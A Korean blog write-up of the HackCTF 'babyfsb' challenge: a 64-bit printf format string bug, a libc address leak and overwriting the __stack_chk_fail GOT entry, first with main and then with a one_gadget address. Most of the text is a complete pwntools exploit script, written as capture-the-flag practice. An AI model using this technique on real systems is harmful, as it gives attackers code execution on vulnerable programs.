Pwnable/hackCTF

babyfsb (64bit fsb)

Writeup


File information


Code

Main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+0h] [rbp-40h]
  unsigned __int64 v5; // [rsp+38h] [rbp-8h]
​
  v5 = __readfsqword(0x28u);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  puts("hello");
  read(0, &buf, 0x40uLL);
  printf(&buf, &buf);
  return 0;
}
  • Main함수의 역할은 다음과 같다.
    • read함수로 buf에 최대 64만큼 입력한다.
    • printf함수로 buf를 출력한다 (fsb 발생)

Exploit

이 문제는 64bit fsb문제이며, __stack_chk_fail의 got를 이용하여 풀 수 있다.

Exploit scenario

시나리오는 총 두 단계로 나뉜다.

First phase

  • RET에 위치한 libc_start_main을 leak하여 libc_base를 구한다.
  • __stack_chk_fail의 got를 main 함수의 주소로 overwrite 하여 다시 main을 호출하도록 한다.

Second phase

  • libc_base로 one_gadget 주소를 알아내고 __stack_chk_fail의 got를 one_gadget주소로 overwrite 한다.

exploit code

canary를 덮어야 __stack_chk_fail가 호출된다는 점 유의하자!

from pwn import *
​
p=remote("ctf.j0n9hyun.xyz",3032)
libc=ELF("./libc.so.6")
#offset 5
main = 0x4006a6
main_low = main & 0xffff
stack_chk_got = 0x601020
libc_start_main_offset = libc.symbols["__libc_start_main"]
py = ''
py += '%{}c'.format(main_low)
py += '%13$hn'
py += '%15$p'
py += 'A'*(56-len(py))
py += p64(stack_chk_got)
​
p.sendafter("hello", py)
​
p.recvuntil("0x")
leak = int(p.recvuntil("A")[:-1],16)
libc_start_main = leak - 240
libc_base = libc_start_main - libc_start_main_offset
one_gadget = libc_base + 0x45216
one_gadget_low = one_gadget & 0xffff
one_gadget_middle = (one_gadget >> 16) & 0xffff
one_gadget_high = (one_gadget >> 32) & 0xffff
​
low = one_gadget_low
if one_gadget_middle > one_gadget_low:
    middle = one_gadget_middle - one_gadget_low
else:
    middle = 0x10000 + one_gadget_middle - one_gadget_low
​
if one_gadget_high > one_gadget_middle:
    high = one_gadget_high - one_gadget_middle
else:
    high = 0x10000 + one_gadget_high - one_gadget_middle
​
py2 = ''
py2 += '%{}c'.format(low)
py2 += '%11$hn'
py2 += '%{}c'.format(middle)
py2 += '%12$hn'
py2 += '%{}c'.format(high)
py2 += '%13$hn'
py2 += 'A'*(40-len(py2))
py2 += p64(stack_chk_got)
py2 += p64(stack_chk_got+2)
py2 += p64(stack_chk_got+4)
p.sendlineafter("hello", py2)
​
p.interactive()

'Pwnable > hackCTF' 카테고리의 다른 글

Adult_FSB (64bit fsb, exit)  (0) 2020.03.26
ChildFSB (64bit fsb)  (0) 2020.03.24
you_are_silver (64bit fsb)  (0) 2020.03.21
훈폰정음  (0) 2020.03.10
풍수지리설  (2) 2020.03.04